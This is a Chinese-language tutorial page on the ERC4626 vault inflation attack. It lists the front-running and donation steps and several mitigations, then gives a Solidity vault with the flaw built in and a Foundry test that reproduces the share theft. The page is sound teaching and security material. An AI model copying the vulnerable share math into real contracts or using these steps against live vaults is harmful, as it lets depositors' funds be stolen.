Skip to main content

金库通货膨胀

金库通货膨胀

漏洞 通过向金库捐赠 ERC20 代币可以增加金库份额。

攻击者可以利用此行为窃取其他用户的存款。

例子: 用户 0 抢先运行用户 1 的存款。

  1. 用户0存款1。
  2. 用户 0 捐款100 * 1e18。这抬高了每股的价值。
  3. 用户1存款100 * 1e18。这会向用户 1 铸造 0 股。
  4. 用户0撤回全部200 * 1e18 + 1。

保护措施:

  • 最小股数 -> 防止抢先交易
  • 内部平衡 -> 防止捐赠
  • 死股份 -> 合约是第一存款人
  • 十进制偏移量(OpenZeppelin ERC4626)
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import {Test, console2} from "forge-std/Test.sol";

uint8 constant DECIMALS = 18;

interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract Token is IERC20 {
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
uint8 public decimals = DECIMALS;

function transfer(address recipient, uint256 amount) external returns (bool) {
balanceOf[msg.sender] -= amount;
balanceOf[recipient] += amount;
emit Transfer(msg.sender, recipient, amount);
return true;
}

function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}

function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
allowance[sender][msg.sender] -= amount;
balanceOf[sender] -= amount;
balanceOf[recipient] += amount;
emit Transfer(sender, recipient, amount);
return true;
}

function mint(address dst, uint256 amount) external {
balanceOf[dst] += amount;
totalSupply += amount;
emit Transfer(address(0), dst, amount);
}

function burn(uint256 amount) external {
balanceOf[msg.sender] -= amount;
totalSupply -= amount;
emit Transfer(msg.sender, address(0), amount);
}
}

contract Vault {
IERC20 public immutable token;

uint256 public totalSupply;
mapping(address => uint256) public balanceOf;

constructor(address _token) {
token = IERC20(_token);
}

function _mint(address _to, uint256 _shares) private {
totalSupply += _shares;
balanceOf[_to] += _shares;
}

function _burn(address _from, uint256 _shares) private {
totalSupply -= _shares;
balanceOf[_from] -= _shares;
}

// Inflation attack //
// 1. User 0 deposits 1
// 2. User 0 donates 100 * 1e18
// 3. User 1 deposits 100 * 1e18 -> 0 shares minted
// 4. User 0 withdraws 200 * 1e18 + 1
//
// user 1 shares = 100 * 1e18 * 1 / (100 * 1e18 + 1)
// = 0
//
// | balance | user 0 shares | user 1 shares | total supply |
// 1. | 1 | 1 | 0 | 1 |
// 2. | 100 * 1e18 + 1 | 1 | 0 | 1 |
// 3. | 200 * 1e18 + 1 | 1 | 0 | 1 |
// 4. | 0 | 0 | 0 | 0 |

function deposit(uint256 amount) external {
uint256 shares;
if (totalSupply == 0) {
shares = amount;
} else {
shares = (amount * totalSupply) / token.balanceOf(address(this));
}

_mint(msg.sender, shares);
token.transferFrom(msg.sender, address(this), amount);
}

function withdraw(uint256 shares) external returns (uint256) {
uint256 amount = (shares * token.balanceOf(address(this))) / totalSupply;
_burn(msg.sender, shares);
token.transfer(msg.sender, amount);
return amount;
}

function previewRedeem(uint256 shares) external returns (uint256) {
if (totalSupply == 0) {
return 0;
}
return (shares * token.balanceOf(address(this))) / totalSupply;
}
}

// forge test -vvv --match-path Vault.test.sol
contract VaultTest is Test {
Vault private vault;
Token private token;

address[] private users = [address(11), address(12)];

function setUp() public {
token = new Token();
vault = new Vault(address(token));

for (uint256 i = 0; i < users.length; i++) {
token.mint(users[i], 10000 * (10 ** DECIMALS));
vm.prank(users[i]);
token.approve(address(vault), type(uint256).max);
}
}

function print() private {
console2.log("vault total supply", vault.totalSupply());
console2.log("vault balance", token.balanceOf(address(vault)));
uint256 shares0 = vault.balanceOf(users[0]);
uint256 shares1 = vault.balanceOf(users[1]);
console2.log("users[0] shares", shares0);
console2.log("users[1] shares", shares1);
console2.log("users[0] redeemable", vault.previewRedeem(shares0));
console2.log("users[1] redeemable", vault.previewRedeem(shares1));
}

function test() public {
// users[0] deposit 1
console2.log("--- users[0] deposit ---");
vm.prank(users[0]);
vault.deposit(1);
print();

// users[0] donate 100
console2.log("--- users[0] donate ---");
vm.prank(users[0]);
token.transfer(address(vault), 100 * (10 ** DECIMALS));
print();

// users[1] deposit 100
console2.log("--- users[1] deposit ---");
vm.prank(users[1]);
vault.deposit(100 * (10 ** DECIMALS));
print();
}
}